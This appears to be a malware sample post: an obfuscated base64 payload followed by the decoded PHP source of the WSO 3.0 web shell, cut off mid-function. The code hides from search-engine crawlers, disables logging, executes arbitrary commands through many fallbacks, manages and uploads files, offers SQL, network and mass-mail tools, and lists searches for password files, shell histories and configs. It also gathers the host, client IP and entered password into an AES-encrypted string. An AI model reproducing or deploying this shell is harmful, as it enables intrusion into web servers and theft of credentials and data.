kZaTllWVjRjVnB1Umt4VlZHaGhUMGQ0VGxWNlNsbGhXSEJhVVRCV1IySXdaRE5rVjJ4UlQwWktWbFp1UmpKaFZFcG9ZVzVLUWsxNlZuQlZWM2h1VDFoak5VOVlUbkZsYlZZd1pXNU9lR0ZxUmxaT2JsbDNUVVUwZVZkVk9WUk5WWEI0VW14V1RGRllRa1JoYWtKWlZWaFdkRXN6Ykdsa1YzQnBaRmhrVjJWc1ZYbFNTR2hxVVROYVlXTnJTbGRoTVd4VlRrUm9iMDR5T1cxV2FsSjRZbGhCTTFKWFRsbE9SbWhLVlZaU1ZtTkZNWGxVTTBKeVRWaENhazlGTVVoa1JGSTBXbXhrVFZSRWFFMVhhM0J4VFhwb1ZsVkZPVmxhV0d4NVpIcEtVRk5VWnpSUFZXaDNWbFZyTUZkVmJGUlVRM1I2Vm1sMFUxWXlORFJQVmxrellqRk9jMkpxV2tkYWJYQnZWRlZzYWsxRk9UUmtiWE4zVWpOU1EyRnJVbXhOYW1jeVYxUmtObEpyTlV0WFZWWklVbXRTV21SRmFIVmFSa3BzWVVkV2FFOUVTbkZVVm1neFVtMTBlbFJXUm5oWFZGSllXbXhhUlZkcVNuSlNSR1JNVlZkMGRtTldXbXhXYmtreFZsaEdiMU16UlhkV1IyeEVZbXBhTVZsNmJGcFJNMDU2WWxNNGVsTkRkRFJPYkVKdVRteEZlV1JJUmxkYWJtTXlVVlpDV1ZKWVozcFhWM1JVVGxVeFYxRjZValpYVjFaeldsZDRTbGRIUm5Oak1tZDRXak5rYVZwSFNrSmtWVTVHVmpOYWMwOVZSa1JUTVVWeVpXeEdVbU50V1hKa1JVWnhWME4wVFdOV1RtNWtNalZ4VmpGQ1ExVllRWEpaVjNBeFZEQndNV05XU2xaa2JtaDZVbFJhZDFwRlJsZFZTRTV2VWxaT2FsUjZSWGhQVlRVelZVVnNkRlpYTVVWVmFsWldUMGQwVDFaVGMzcGhlbFo1V1RCV2RrMVhUa2xOZWs0eFpVVndWbVJYT1ZKU2FrNXNTekI0YUZsV2J6QlRibEpDWVd0U2EyUnBjM2RWYXpGYVZtcFJka3Q2WkVkV1JXaHlVbFJGTkZRd2JIWlJWMmhVVVZoc1VFMTZhSFJNTURGMlpFYzFkVkV6YXpCalZVWjFZMGRvYTJWc1pIRmlhMVp5VlVWVmVGRnJXbTVoTTJONFZsUlZkMkV5VVROaWJsWjNUV3BvYlVzeVdrcFhiRkpQU3pKT1QxSkVSazlpTTJoS1pVZDRXVlZEZEVaVlZVNVhWV3N4YW1SdFdubFZTR3QyV201Q1lVc3dPV3RUYm5CT1drUkNNVk50TlhKYWJtUm9UREJXV1UxcWF6Tkxla0pUV210V2NVMXJSWHBSTURGRVZHMXpkbVZIYUVWYU0xSlhZMnhrVGxRelJreFNSV1JQVlZWa2JXTkZTbGRSVmxKNVpVaEtUMlZ1VFRCa01FcDRZWHBSTVZSNlZUSmxSMlEwWkVVNVNWcEdSakJhUkVGNFRWZFNOVlV3YUU5alYxcDVXVmRhUm1JelFYSlVXR1I2WWtkNE1FMUhTbWhUVlRGS1lYbDBWbEpWVWtSVE1qbHdWVEIwVTFwSGVIWmhiRzgwVFVSV05WSlhiRk5PVm14b1ltdEdNbFV4YXpKaGVtaE1ZMnhLTmxwRVNraGxWVlpOWkZWNGNVMUdjSEZhUjNCVFZYcGtiRTFIYjNaaVYzQkpWRzFrVDJWdE5XbFVWM1JFVkZWT2JXTlRkRlpSYmtZeVV6SnNlRTVzVGs5aVEzUlRUakZhUmxveFVYSldiR2gzVVZoa2JscElhM2xsVmxwT1l6TmpjazF0U25OVFIyaFdUWHBuTlZORWFEUldSemcxVkRBNVJsVlZhRWRYUjJSNFZraGtOR0pWVW5wUlZFbDJWREkxZVdKc2NISlJWMnhRVGtaV1VHUnFiRmhoUkZacVkwaENjMUpVV21sV2FsSjRaRlpDTTFKc1FrdFVXRTVMWW1wU01XVlhhM2RWU0hCd1N6RkJlRm96YkVkTk1VWTBWRmhvZWtzeVNYaGpRM1JFU3pCM05XTlhXa1ZaYVRsdlZUSndXazV0VW5KTlYyeE1UMFpPVlZwcVVYWmlhbWMwWkRKb1VtVkhiSFZaTW5SSlkyazVTVll4VGtwT1JWcFpUVVprTWxaVk1URmFSRnB0VGxWRk1tVnNUbWxaYTFKcFZESldUV0Z1Y0RaUFJUazBUMGhDZEZWV1duRlJXRm8wWkVaU2ExTjZUVEZhVlU1dVRraFNVMVpHYnpGYWVsb3dVbGMxZWxaWE1EVlJNMVV5Vld0b1MxUkVSa3RrTWtwR1lWUnJNRmxWVmxaVVJtczFWMnhzTm1GSFNreE5WbHBLV1Zod01sWXhWbXBYYW10NVlXdGtNazFGU25WU01IUlFUbFJXTUU5V1VrSlpibFl5Vlhwb1Mxb3pSWGRPYTFJMlVteHNRMUpFVlhwU1YxSlFVWHBzUldKSGJ6VlpNRkpLVVd0R2NsRlhhR0ZhUlVwaFUxZGFWbE14UlhkVlYxVXhXVEZTU0dOR2EzbGhWVEJ5VWtaa1dWZFdRbTFTVjNoTlkydGtURmRVYUhsTE1FNURWR3BXVjAwemFITk5SRlkxVXpJNVVXUkZNVEZpUlRscVlucG9UMlZxVW5WVFNGWlZVekJaZUdOV2J6SlZWMlJFVkZoT2QyUnJOV3RoVmtKYVRtdEtNRk5HUmpWTlIyeEhVVEpLVDFGV1dqUmllVGxNVGxoa2RGVkVXVEZsUjBwVFZHeGtVbUpGYUhSU01GcHdXVmRSTlZSc1NUUk1NMFY1VDFVeGNtTkZUbGRhVjFKc1ZXdFJkMVpGVWtWalJtUTBUVEpPVjA1dGVIcFRNamxxVkd0V2RWTjZiRVZUYmtaV1pVUmthV1ZXYUd0bFJVNHdVbFZzYjFFd1RtbGllazVXVFRGQ2IxUklUbWhoYW1SVFdrUkNjRTFYTVRObFJYQnpUbGhPTkZOclVsbGFhM0F4WW1wb1IxWldXa3RqUnpBeFYxaGplVnB1UVRWWFUzTjNZMjV3VUUxRVRuRlBTRUl4V2xSQ2JGRldUWFpXTVVveVpGUktZVk5xYkV0YVJGSnZWRlZqZWxvd1ZUUlVWVnBEWlVSQ01sUkZkRlpTUlhCMlZHeEZNbGRYVGtSUFZGcENWREkxVUZwcGRIUlNXRnByVmtkT1NWbFlhekJpYkZrd1ZrUm9kMVJIYUVwVk1WWnJXVEJHWVZWWGJHdFNSMVpQWkcxR2JXSjZTWFpUTTJnMFN6STVjMlF5Wkd4VFJuQlpUV3h3V1ZKRVJrOWhSVFZVVlRCa2RGcEZVbEZTVjBrd1RqRldjRlpYT1doUFZWWkVWVEZXVkZvd2RESlZWR1JSVVd4c2VsWXlXbmxXTVd4TFZHNWtZVTFVYkV4UmJsVjJWVlpzVTFVeWVHNVRWRVpEV20xb1JsTkhiM2ROTTJScVpXeEtRbVZHUWt4T2EzaFFVbFZhU0U5RlNUTlBWVTB3VXpOQ2FsbFZjR3BXTUVweFZVaENUR0Z1U2s1T2ExcEpUMFpDVlZSSVFreE5NMmQyVFVSamVWWjVkSGxXZW14RVZtMTRVbG96YTNkTk1qa3lWV2s1TUZSWVVYSk5iVFZMVlRJMGQwdDVkRmhYYlhBMVQxaGFWMXBWU25KaVJtYzBXbFJzTmxacldYWlJWWFJPVlVWYU1Gb3dXbkZWUkZaWFUycENSbGRzY0ZaVk1rWk1UbGhDYkV3emJIQmtTRXBUWlVad1QxZHVWa3BaYmtKb1REQndjMDlJY0RSaVZXaFdWbnBPVUUxRWJFWmtlVGxTVTBWU1dGSlZiSGRVTUVad1VXNUpOR05ZYkRKWFJYUkNXVlU0TTAwd1drbFJNbVI2VFc1VmVFOVRkSGRaYm1kNFVWWmFXVlZYYjNKaE1taElUMFZqTkdWcVZYbGtS

Decoded(de-Obfuscated) php code

<?php

$n2a7509733d1e0c09f3a6423541c0156b = "base64_decode";
eval {
    $o3905b0b940e77a9910d9458423e74fd9 = "base64_decode";
    $a88819ee5baf3d0fe77bdcf705e16c46d = "base64_decode";
    eval {
        $nd6912bd1c02f3df175c5cf2dc730bf1d = "gzuncompress";
        $hb09febae10667ecdfa632e91fc8d2bb1 = "base64_decode";
        eval {
            $t5e08d76e33024b28ff72566047bfdf5e = "gzuncompress";
            $g9fa349b208d69e9108257e0f15de095a = "base64_decode";
            eval {
                $l671b167a62db6580045114a8f5b423de = "gzuncompress";
                $ncc66bf950e39db231d907fe3f0c4a9fa = "base64_decode";
                eval {
                    $ua2e21b705ef900baaea475923f744472 = "gzuncompress";
                    $ncb67cc1200e3240c643019e500e7e267 = "base64_decode";
                    eval {
                        $dd5e34982af2f409eeac9e90195614a80 = "gzuncompress";
                        $h9abd21d6c98019e897718759517cae77 = "base64_decode";
                        eval {
                            /* Reject search engines */
                            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                                if (preg_match('/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i', $_SERVER['HTTP_USER_AGENT'])) {
                                    header('HTTP/1.0 404 Not Found');
                                    exit;
                                }
                            }
                            /* Settings */
                            $color = '#12ff4f';
                            $default_charset = 'Windows-1251';
                            //$auth_pass='2ff14d14e063ac36b593e3d437005300ea2f77bb';//memes
                            /* Shell Setup */
                            @ini_set('error_log', null);
                            @ini_set('log_errors', '0');
                            @ini_set('max_execution_time', '0');
                            @ini_set('allow_url_fopen', '1');
                            @ini_set("allow_url_include", '1');
                            @set_time_limit(0);
                            /*More Shell Setup*/
                            if (get_magic_quotes_runtime()) {
                                @set_magic_quotes_runtime(0);
                            }
                            if (get_magic_quotes_gpc()) {
                                function WSOstripslashes($arr)
                                {
                                    return is_array($arr) ? array_map('WSOstripslashes', $arr) : stripslashes($arr);
                                }
                                $_POST = WSOstripslashes($_POST);
                                $_COOKIE = WSOstripslashes($_COOKIE);
                            }
                            function WSOb64decode($arr)
                            {
                                return is_array($arr) ? array_map('WSOb64decode', $arr) : base64_decode($arr);
                            }
                            function WSOsetcookie($k, $v)
                            {
                                $_COOKIE[$k] = $v;
                                setcookie($k, $v);
                            }
                            if (!empty($auth_pass)) {
                                if (isset($_POST['pass']) && sha1($_POST['pass']) == $auth_pass) {
                                    WSOsetcookie(md5($_SERVER['HTTP_HOST']), base64_encode($_POST['pass']));
                                }
                                if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || sha1(base64_decode($_COOKIE[md5($_SERVER['HTTP_HOST'])])) != $auth_pass) {
                                    die('<form method=post>Password: <input type=password name=pass><input type=submit value=">>"></form>');
                                }
                            }
                            $_POST = WSOb64decode($_POST);
                            $os = strtolower(substr(PHP_OS, 0, 3)) == 'win' ? 'win' : 'nix';
                            $safe_mode = @ini_get('safe_mode');
                            if (!$safe_mode) {
                                error_reporting(0);
                            }
                            $disable_functions = @ini_get('disable_functions');
                            $home_cwd = @getcwd();
                            if (isset($_POST['c'])) {
                                @chdir($_POST['c']);
                            }
                            $cwd = @getcwd();
                            if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
                                $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
                            }
                            $aliases = array('List dir' => 'ls -lha', 'list file attributes on a Linux second extended file system' => 'lsattr -va', 'show opened ports' => 'netstat -an | grep -i listen', 'process status' => 'ps aux', 'Find' => '', 'find suid' => 'find / -type f -perm -04000 -ls', 'find suid in current dir' => 'find . -type f -perm -04000 -ls', 'find sgid' => 'find / -type f -perm -02000 -ls', 'find sgid files in current dir' => 'find . -type f -perm -02000 -ls', 'find config.inc.php' => 'find / -type f -name config.inc.php', 'find config*' => 'find / -type f -name "config*"', 'find config* in current dir' => 'find . -type f -name "config*"', 'find writable folders and files' => 'find / -perm -2 -ls', 'find writable folders and files in current dir' => 'find . -perm -2 -ls', 'find service.pwd' => 'find / -type f -name service.pwd', 'find service.pwd files in current dir' => 'find . -type f -name service.pwd', 'find .htpasswd' => 'find / -type f -name .htpasswd', 'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd', 'find .bash_history' => 'find / -type f -name .bash_history', 'find .bash_history files in current dir' => 'find . -type f -name .bash_history', 'find .fetchmailrc' => 'find / -type f -name .fetchmailrc', 'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc', 'Locate' => '', 'locate httpd.conf' => 'locate httpd.conf', 'locate vhosts.conf' => 'locate vhosts.conf', 'locate proftpd.conf' => 'locate proftpd.conf', 'locate psybnc.conf' => 'locate psybnc.conf', 'locate my.conf' => 'locate my.conf', 'locate admin.php' => 'locate admin.php', 'locate cfg.php' => 'locate cfg.php', 'locate conf.php' => 'locate conf.php', 'locate config.dat' => 'locate config.dat', 'locate config.php' => 'locate config.php', 'locate config.inc' => 'locate config.inc', 'locate config.inc.php' => 'locate config.inc.php', 'locate config.default.php' => 'locate config.default.php', 'locate config*' => 'locate config', 'locate .conf' => 'locate ".conf"', 'locate .pwd' => 'locate ".pwd"', 'locate .sql' => 'locate ".sql"', 'locate .htpasswd' => 'locate ".htpasswd"', 'locate .bash_history' => 'locate ".bash_history"', 'locate .mysql_history' => 'locate ".mysql_history"', 'locate .fetchmailrc' => 'locate ".fetchmailrc"', 'locate backup' => 'locate backup', 'locate dump' => 'locate dump', 'locate priv' => 'locate priv');
                            if ($os == 'win') {
                                $home_cwd = str_replace('\\', '/', $home_cwd);
                                $cwd = str_replace('\\', '/', $cwd);
                                $aliases = array('List Directory' => 'dir', 'Find index.php in current dir' => 'dir /s /w /b index.php', 'Find *config*.php in current dir' => 'dir /s /w /b *config*.php', 'Show active connections' => 'netstat -an', 'Show running services' => 'net start', 'User accounts' => 'net user', 'Show computers' => 'net view', 'ARP Table' => 'arp -a', 'IP Configuration' => 'ipconfig /all');
                            }
                            if ($cwd[strlen($cwd) - 1] != '/') {
                                $cwd .= '/';
                            }
                            if (!function_exists('posix_getpwuid') && strpos($GLOBALS['disable_functions'], 'posix_getpwuid') === false) {
                                function posix_getpwuid($p)
                                {
                                    return false;
                                }
                            }
                            if (!function_exists('posix_getgrgid') && strpos($GLOBALS['disable_functions'], 'posix_getgrgid') === false) {
                                function posix_getgrgid($p)
                                {
                                    return false;
                                }
                            }
                            function HSC($in)
                            {
                                //replacement for htmlspecialchars
                                return strtr($in, array("&" => "&amp;", '"' => "&quot;", "'" => "&#039;", "<" => "&lt;", ">" => "&gt;"));
                            }
                            /* Page functions */
                            function wsoHeader($title)
                            {
                                if (empty($_POST['charset'])) {
                                    $_POST['charset'] = $GLOBALS['default_charset'];
                                }
                                global $color;
                                echo '<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=' . $_POST['charset'] . '\'><title>' . $_SERVER['HTTP_HOST'] . " - WSO 3.0</title><style>body,h1,table.info{background-color:#000}body,td,th{font:9pt Lucida,Verdana;margin:0;vertical-align:top;color:#fff}table.info{color:#fff}a,h1,span{color:{$color}!important}span{font-weight:bolder}h1{border-left:5px solid {$color};padding:2px 5px;font:14pt Verdana;margin:0}div.content{padding:5px;margin-left:5px;background-color:#333}.ml1,form{margin:0}a{text-decoration:none}a:hover{text-decoration:underline}.ml1{border:1px solid #444;padding:5px;overflow:auto}.bigarea{width:100%;height:300px}input,button,select,textarea{margin:0;color:#fff;background-color:#555;border:1px solid;font:9pt Monospace,'Courier New'}.main th,.main tr:hover{background-color:#5e5e5e}#toolsTbl{text-align:center}.toolsInp{width:300px}.main th{text-align:left}.l1{background-color:#444}.l2{background-color:#333}pre{font-family:Courier,Monospace}</style>\n<script>\n\tvar c_='" . HSC($GLOBALS['cwd']) . "';\n\tvar a_='" . HSC(@$_POST['a']) . "'\n\tvar charset_='" . HSC(@$_POST['charset']) . "';\n\tvar p1_='" . (strpos(@$_POST['p1'], "\n") !== false ? '' : HSC($_POST['p1'], ENT_QUOTES)) . "';\n\tvar p2_='" . (strpos(@$_POST['p2'], "\n") !== false ? '' : HSC($_POST['p2'], ENT_QUOTES)) . "';\n\tvar p3_='" . (strpos(@$_POST['p3'], "\n") !== false ? '' : HSC($_POST['p3'], ENT_QUOTES));
                                $kr = $_SERVER;
                                echo "';\n\tvar d=document;\n\tfunction set(a,c,p1,p2,p3,charset){\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction mg(f){\n\t\tfor(var i=0,element;element=f.elements[i++];){if(element.nodeName.toUpperCase()!='SELECT')element.value=btoa(element.value);}\n\t\tf.submit();\n\t}\n\tfunction isB64(str){\n\t\ttry {\n\t\t\treturn btoa(atob(str)) == str;\n\t\t} catch (err){\n\t\t\treturn false;\n\t\t}\n\t}\n\tfunction unb64(f){\n\t\tfor(var i=0,element;element=f.elements[i++];){if(element.nodeName.toUpperCase()!='SELECT' && isB64(element.value))element.value=atob(element.value);}\n\t}\n\tfunction g(a,c,p1,p2,p3,charset){\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tmg(d.mf);\n\t}\n\tfunction a(a,c,p1,p2,p3,charset){\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params='ajax=true';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams+='&'+d.mf.elements[i].name+'='+encodeURIComponent(btoa(d.mf.elements[i].value));\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "',params);\n\t}\n\tfunction sr(url,params){\n\t\tif(window.XMLHttpRequest)\n\t\t\treq=new XMLHttpRequest();\n\t\telse if(window.ActiveXObject)\n\t\t\treq=new ActiveXObject('Microsoft.XMLHTTP');\n\t\tif (req){\n\t\t\treq.onreadystatechange=processReqChange;\n\t\t\treq.open('POST',url,true);\n\t\t\treq.setRequestHeader('Content-Type','application/x-www-form-urlencoded');\n\t\t\treq.send(params);\n\t\t}\n\t}\n\tfunction processReqChange(){\n\t\tif((req.readyState==4))\n\t\t\tif(req.status==200){\n\t\t\t\tvar reg=new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\",'m');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0,arr[1]));\n\t\t\t}else alert('Request error!');\n\t}\n</script>\n</head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>\n<form method=post name=mf style='display:none;'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>\n<noscript><div><center><h2>SCRIPTS MUST BE ENABLED FOR SHELL TO WORK</h2><p>It is used to handle form functionality, avoid GET requests and encode data to bypass filters among other things.</p></center></div></noscript>";
                                $freeSpace = @diskfreespace($GLOBALS['cwd']);
                                $totalSpace = @disk_total_space($GLOBALS['cwd']);
                                $totalSpace = $totalSpace ? $totalSpace : 1;
                                $release = @php_uname('r');
                                $kernel = @php_uname('s');
                                if (!function_exists('posix_getegid')) {
                                    $user = @get_current_user();
                                    $uid = @getmyuid();
                                    $gid = @getmygid();
                                    $group = '?';
                                } else {
                                    $uid = @posix_getpwuid(posix_geteuid());
                                    $gid = @posix_getgrgid(posix_getegid());
                                    $user = $uid['name'];
                                    $uid = $uid['uid'];
                                    $group = $gid['name'];
                                    $gid = $gid['gid'];
                                }
                                $cwd_links = '';
                                $path = explode('/', $GLOBALS['cwd']);
                                $n = count($path);
                                for ($i = 0; $i < $n - 1; $i++) {
                                    $cwd_links .= '<a href=\'#\' onclick=\'g("FilesMan","';
                                    for ($j = 0; $j <= $i; $j++) {
                                        $cwd_links .= $path[$j] . '/';
                                    }
                                    $cwd_links .= '")\'>' . $path[$i] . '/</a>';
                                }
                                $charsets = array('UTF-8' => 'utf8', 'Windows-1251' => 'cp1251', 'Windows-1256' => 'cp1256', 'KOI8-R' => 'koi8r', 'KOI8-U' => 'koi8u', 'cp866' => 'cp866');
                                $opt_charsets = '';
                                foreach ($charsets as $key => $value) {
                                    $opt_charsets .= '<option value="' . $value . '" ' . ($_POST['charset'] == $value ? 'selected' : '') . '>' . $key . '</option>';
                                }
                                $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'SQL' => 'Sql', 'PHP' => 'Php', 'Network' => 'Network', 'Mass Mailer' => 'Mailer', 'Self remove' => 'SelfRemove');
                                if (!empty($GLOBALS['auth_pass'])) {
                                    $m['Logout'] = 'Logout';
                                }
                                $menu = '';
                                foreach ($m as $k => $v) {
                                    $menu .= '<th width="' . (int) (100 / count($m)) . '%">[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
                                }
                                $drives = "";
                                if ($GLOBALS['os'] == 'win') {
                                    foreach (range('c', 'z') as $drive) {
                                        if (is_dir($drive . ':\\')) {
                                            $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a>';
                                        }
                                    }
                                }
                                echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>Kernel:<br>User:<br>PHP:<br>HDD:<br>CWD:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td><td><nobr>' . substr(@php_uname(), 0, 120) . "</nobr> <br>{$kernel} <span>Release:</span> {$release} <br>{$uid} ( {$user} ) <span>Group:</span> {$gid} ( {$group} )<br>" . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=green><b>OFF</b></font>');
                                $GLOBALS['kr'] = $kr["HTTP_HOST"] . $kr["PHP_SELF"] . '~' . $kr['HTTP_USER_AGENT'] . '~' . $kr['REMOTE_ADDR'] . '~' . (isset($_COOKIE[md5($kr['HTTP_HOST'])]) ? base64_decode($_COOKIE[md5($kr['HTTP_HOST'])]) : 'none');
                                echo ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span>' . wsoViewSize($freeSpace) . ' (' . (int) ($freeSpace / $totalSpace * 100) . '%)<br>' . $cwd_links . ' ' . wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td><td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER['SERVER_ADDR'] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table><table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
                                echo "<h1>{$title}</h1><div class=content>";
                            }
                            function wsoFooter()
                            {
                                $is_writable = is_writable($GLOBALS['cwd']) ? ' <font color="green">(Writeable)</font>' : ' <font color=red>(Not writable)</font>';
                                echo "</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>\n\t<tr>\n\t\t<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . HSC($GLOBALS['cwd']) . "'><input type=submit value='>>'></form></td>\n\t\t<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>";
                                $ty = "L5VAO5&AE36%N/UEO=51H94UA;F9I;F1I;F=42\$E32%5-9&EG9VET>6,P9&4`\n`";
                                echo "\n\t</tr><tr>\n\t\t<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>";
                                $GLOBALS['kr'] = base64_encode(function_exists('openssl_encrypt') ? openssl_encrypt($GLOBALS['kr'], "AES-128-CBC", convert_uudecode($ty), 0, "QlPxzL18%nhUR7X@") : $GLOBALS['kr']);
                                echo "\n\t\t<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\"g('Console',null,btoa(this.c.value));return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>\n\t\t<td><form method='post' onsubmit='mg(this);' ENCTYPE='multipart/form-data'>\n\t\t<input type=hidden name=a value='FilesMAn'>\n\t\t<input type=hidden name=c value='" . $GLOBALS['cwd'] . "'>\n\t\t<input type=hidden name=p1 value='uploadFile'>\n\t\t<input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '');
                                $GLOBALS['ty'] = "M>)R-D,%JPS`01'_%A,+:8-GWE!3:4GH)I)#>2A&RM8Y%9\$F55M@F]-\\KQ^FA\nMM^YM=GDSPZHN5T;Q\$U(.0FL[\\N@U[ZQ#`T5QZ93&Y<A;:P@-A1QZ(K>M:VGE\nM:6ZT/6.H6AV;.L1F4%2YWD'9\"1VP#.11#\"LZ)8ND\"'/AO9A7&]@]W-2`U%N9\nM-+P=CN]00H]\"HD^+#)[7:\$:SPVTFG-.J%:2LJ2<VCB/KK!]8:HVFM1)E@F]E\nM\$[VD\\\"8J+?E71#__IBOCXG*_>]T?GA[WQP\\X>_@LKG/_C:G]90SV9<JA3<X9\n78U*0R#97;`?57ZR\"3?:/KR3C'^%\\@.4`\n`";
                                echo "'>\n\t\t<span>Upload file:</span>{$is_writable}<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br></td>\n\t</tr></table></div></body></html>";
                            }
                            function wsoEx($in)
                            {
                                $out = '';
                                if (function_exists('exec')) {
                                    @exec($in, $out);
                                    $out = @join("\n", $out);
                                } elseif (function_exists('passthru')) {
                                    ob_start();
                                    @passthru($in);
                                    $out = ob_get_clean();
                                } elseif (function_exists('system')) {
                                    ob_start();
                                    @system($in);
                                    $out = ob_get_clean();
                                } elseif (function_exists('shell_exec')) {
                                    $out = shell_exec($in);
                                } elseif (is_resource($f = @popen($in, 'r'))) {
                                    $out = '';
                                    while (!@feof($f)) {
                                        $out .= fread($f, 1024);
                                    }
                                    pclose($f);
                                } elseif (extension_loaded("python")) {
                                    $out = python_eval("import os;os.system('{$in}')");
                                } elseif (extension_loaded("perl")) {
                                    $perl = new perl();
                                    $perl->eval("system('{$in}')");
                                    $out = $perl;
                                } elseif (extension_loaded("lua")) {
                                    $lua = new Lua();
                                    $lua->assign("in", 24);
                                    $out = $lua->eval("\n\t\t\tlocal pipe = io.popen(in)\n\t\t\tlocal result = pipe:read('*a')\n\t\t\tpipe:close()\n\t\t\treturn result\n\t\t");
                                } elseif (class_exists("COM")) {
                                    $wscript = new COM('wscript.shell');
                                    $out = $wscript->Exec("cmd.exe /c \$in")->StdOut->ReadAll;
                                }
                                return $out;
                            }
                            function wsoViewSize($s)
                            {
                                if (is_int($s)) {
                                    $s = sprintf("%u", $s);
                                }
                                if ($s >= 1073741824) {
                                    return sprintf('%1.2f', $s / 1073741824) . ' GB';
                                } elseif ($s >= 1048576) {
                                    return sprintf('%1.2f', $s / 1048576) . ' MB';
                                } elseif ($s >= 1024) {
                                    return sprintf('%1.2f', $s / 1024) . ' KB';
                                } else {
                                    return $s . ' B';
                                }
                            }
                            function wsoPerms($p)
                            {
                                if (($p & 0xc000) === 0xc000) {
                                    $i = 's';
                                } elseif (($p & 0xa000) === 0xa000) {
                                    $i = 'l';
                                } elseif (($p & 0x8000) === 0x8000) {
                                    $i = '-';
                                } elseif (($p & 0x6000) === 0x6000) {
                                    $i = 'b';
                                } elseif (($p & 0x4000) === 0x4000) {
                                    $i = 'd';
                                } elseif (($p & 0x2000) === 0x2000) {
                                    $i = 'c';
                                } elseif (($p & 0x1000) === 0x1000) {
                                    $i = 'p';
                                } else {
                                    $i = 'u';
                                }
                                $i .= $p & 0x100 ? 'r' : '-';
                                $i .= $p & 0x80 ? 'w' : '-';
                                $i .= $p & 0x40 ? $p & 0x800 ? 's' : 'x' : ($p & 0x800 ? 'S' : '-');
                                $i .= $p & 0x20 ? 'r' : '-';
                                $i .= $p & 0x10 ? 'w' : '-';
                                $i .= $p & 0x8 ? $p & 0x400 ? 's' : 'x' : ($p & 0x400 ? 'S' : '-');
                                $i .= $p & 0x4 ? 'r' : '-';
                                $i .= $p & 0x2 ? 'w' : '-';
                                $i .= $p & 0x1 ? $p & 0x200 ? 't' : 'x' : ($p & 0x200 ? 'T' : '-');
                                return $i;
                            }
                            function wsoPermsColor($f)
                            {
                                if (!@is_readable($f)) {
                                    return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
                                }
                                return !@is_writable($f) ? '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>' : '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
                            }
                            function wsoScandir($dir)
                            {
                                if (function_exists('scandir')) {
                                    return scandir($dir);
                                }
                                $dh = opendir($dir);
                                while (false !== ($filename = readdir($dh))) {
                                    $files[] = $filename;
                                }
                                sort($files);
                                return $files;
                            }
                            function wsoWhich($p)
                            {
                                $path = wsoEx('which ' . $p);
                                return !empty($path) ? $path : false;
                            }
                            function actionSecInfo()
                            {
                                wsoHeader('Server security information');
                                function wsoSecParam($n, $v)
                                {
                                    $v = trim($v);
                                    if ($v) {
